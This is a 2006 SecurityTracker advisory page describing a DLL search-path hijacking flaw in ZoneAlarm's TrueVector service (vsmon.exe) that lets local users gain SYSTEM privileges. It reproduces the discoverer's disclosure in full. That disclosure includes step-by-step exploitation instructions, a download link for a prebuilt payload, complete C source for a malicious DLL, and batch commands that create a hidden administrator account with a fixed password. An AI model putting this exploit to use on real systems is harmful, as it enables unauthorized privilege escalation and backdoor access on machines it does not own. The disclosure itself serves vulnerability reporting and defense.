SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Security)  >   ZoneAlarm Vendors:   Check Point, Zone Labs
ZoneAlarm Use of Relative Path to Load DLLs Lets Local Users Gain Elevated Privileges
SecurityTracker Alert ID:  1015743
SecurityTracker URL:  http://securitytracker.com/id/1015743
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Mar 9 2006
Impact:   Execution of arbitrary code via local system, Root access via local system
Exploit Included:  Yes  
Version(s): 6.1.744.000
Description:   A vulnerability was reported in ZoneAlarm. A local user can gain System privileges.

The TrueVector service (vsmon.exe) loads several DLLs when Windows starts up. The affected DLL files are loaded using only the DLL file name and not using a full path name. As a result, a local user can create an alternate DLL and modify the Windows PATH environment variable to cause 'vsmon.exe' to load and execute the alternate DLL instead of the intended DLL. The code will run with LocalSystem privileges.

The affected DLLs are:

- VSUTIL_Loc0409_Oem8701.dll
- VSUTIL_Oem8701.dll
- VSUTIL_Loc0409.dll
- vsmon_Loc0409_Oem8701.dll
- vsmon_Oem8701.dll
- vsmon_Loc0409.dll
- VSRULEDB_Loc0409_Oem8701.dll
- VSRULEDB_Oem8701.dll
- VSRULEDB_Loc0409.dll
- av_Loc0409_Oem8701.dll
- av_Oem8701.dll
- av_Loc0409.dll
- zlquarantine_Loc0409_Oem8701.dll
- zlquarantine_Oem8701.dll
- zlquarantine_Loc0409.dll
- zlsre_Loc0409_Oem8701.dll
- zlsre_Oem8701.dll
- zlsre_Loc0409.dll

The vendor was notified on December 20, 2005, without response.

Reed Arvin discovered this vulnerability.

Impact:   A local user can cause arbitrary code to be executed with System level privileges.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.zonelabs.com/ (Links to External Site)
Cause:   Access control error, State error
Underlying OS:  Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  18 ways to escalate privileges in Zone Labs ZoneAlarm Security Suite

Summary:
18 ways to escalate privileges in Zone Labs ZoneAlarm Security Suite
build 6.1.744.000 (http://www.zonelabs.com/)

Details:
During Windows startup the TrueVector service (vsmon.exe - an integral
piece of most Zone Labs products) is set to startup automatically. The
TrueVector service runs under the context of the Local System account.
During its startup process it attempts to load several DLLs (that are
listed below).

- VSUTIL_Loc0409_Oem8701.dll
- VSUTIL_Oem8701.dll
- VSUTIL_Loc0409.dll
- vsmon_Loc0409_Oem8701.dll
- vsmon_Oem8701.dll
- vsmon_Loc0409.dll
- VSRULEDB_Loc0409_Oem8701.dll
- VSRULEDB_Oem8701.dll
- VSRULEDB_Loc0409.dll
- av_Loc0409_Oem8701.dll
- av_Oem8701.dll
- av_Loc0409.dll
- zlquarantine_Loc0409_Oem8701.dll
- zlquarantine_Oem8701.dll
- zlquarantine_Loc0409.dll
- zlsre_Loc0409_Oem8701.dll
- zlsre_Oem8701.dll
- zlsre_Loc0409.dll

It appears that instead of using the full path to the DLL during the
load process only the name of the DLL is used. This causes several
instances of Windows PATH trolling (where Windows tries to locate the
DLL in the directories listed in its PATH environment variable on
behalf of the vsmon.exe process). This PATH trolling is what makes the
vsmon.exe process vulnerable to several privilege escalation
techniques. Below is the output from a Filemon capture of the
TrueVector service startup process (edited for brevity). Please note
that I have ActiveState's ActivePerl installed so C:\Perl\bin is
included in my PATH.

vsmon.exe  QUERY INFORMATION  C:\Perl\bin\VSUTIL_Loc0409_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\VSUTIL_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\VSUTIL_Loc0409.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\vsmon_Loc0409_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\vsmon_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\vsmon_Loc0409.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\VSRULEDB_Loc0409_Oem8701.dll
 NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\VSRULEDB_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\VSRULEDB_Loc0409.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\av_Loc0409_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\av_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\av_Loc0409.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION 
C:\Perl\bin\zlquarantine_Loc0409_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\zlquarantine_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\zlquarantine_Loc0409.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\zlsre_Loc0409_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\zlsre_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\zlsre_Loc0409.dll  NOT FOUND

Exploitation Requirements:
First of all, you will need to have a directory that is writeable to a
lower level user, that is included in the Windows PATH environment
variable. As you saw above, I had ActiveState's ActivePerl installed
and it worked just fine.

Secondly, verify that the path you have chosen is definitely writeable
to a lower level user. On Windows 2000 operating systems the default
permissions for the root of the partition where the operating system
is installed is set as Everyone/Full Control. So, by default,
C:\Perl\bin is set to Everyone/Full Control. On Windows 2000 operating
systems a guest account can be used during the exploitation process.
On Windows XP, the C:\Perl\bin folder has special permissions set (by
default) for the local Users group that allows the creation and
modification of new files and folders. Perfect, that is all that is
needed. On Windows XP, an account in the local Users group can be used
during the exploitation process.

Vulnerable Versions:
Zone Labs ZoneAlarm Security Suite build 6.1.744.000 and possibly
earlier versions

Patches/Workarounds:
The vendor was notified several times but there was no response. The
initial notification was sent on 12.20.05. Two follow-up notifications
were sent afterward.

Exploits:

1. Download http://reedarvin.thearvins.com/tools/magic.zip or compile
your own using
   the source code below.

2. Extract the magic.dll and magic.bat files.

3. Rename the magic.dll file to any of the 18 different file names
listed above. In
   this example I will use VSUTIL_Loc0409_Oem8701.dll.

4. Copy the VSUTIL_Loc0409_Oem8701.dlll and magic.bat files to your
chosen directory
   listed in the Windows PATH environment variable.

5. Restart the machine.

6. When the TrueVector service starts up it will create a new user account named
   Magic with a password of M@g1c$$ and add it to the local
Administrators group.


// ===== Start Magic.c ======
// Build Instructions
//
// gcc -c -DBUILD_DLL magic.c
// gcc -shared -o magic.dll -W1,--out-implib,libkernel32.a magic.o

#include <windows.h>

VOID RunMagicBatFile( VOID );

BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved )
{
	BOOLEAN bSuccess = TRUE;

	switch ( fdwReason )
	{
		case DLL_PROCESS_ATTACH:
			RunMagicBatFile();

			break;

		case DLL_THREAD_ATTACH:

			break;

		case DLL_THREAD_DETACH:

			break;

		case DLL_PROCESS_DETACH:

			break;
	}

	return bSuccess;
}

VOID RunMagicBatFile()
{
	TCHAR  szWinDir[ _MAX_PATH ];
	TCHAR szCmdLine[ _MAX_PATH ];

	STARTUPINFO         si;
	PROCESS_INFORMATION pi;

	GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );

	wsprintf( szCmdLine, "%s\\system32\\cmd.exe /c magic.bat", szWinDir );

	ZeroMemory( &si, sizeof( si ) );

	si.cb = sizeof( si );

	ZeroMemory( &pi, sizeof( pi ) );

	CreateProcess( NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi );

	CloseHandle( pi.hProcess );
	CloseHandle( pi.hThread );
}
// ===== End Magic.c ======


// ===== Start Magic.bat ======
net user Magic M@g1c$$ /add
net localgroup Administrators Magic /add
// ===== End Magic.bat ======

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com/)

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC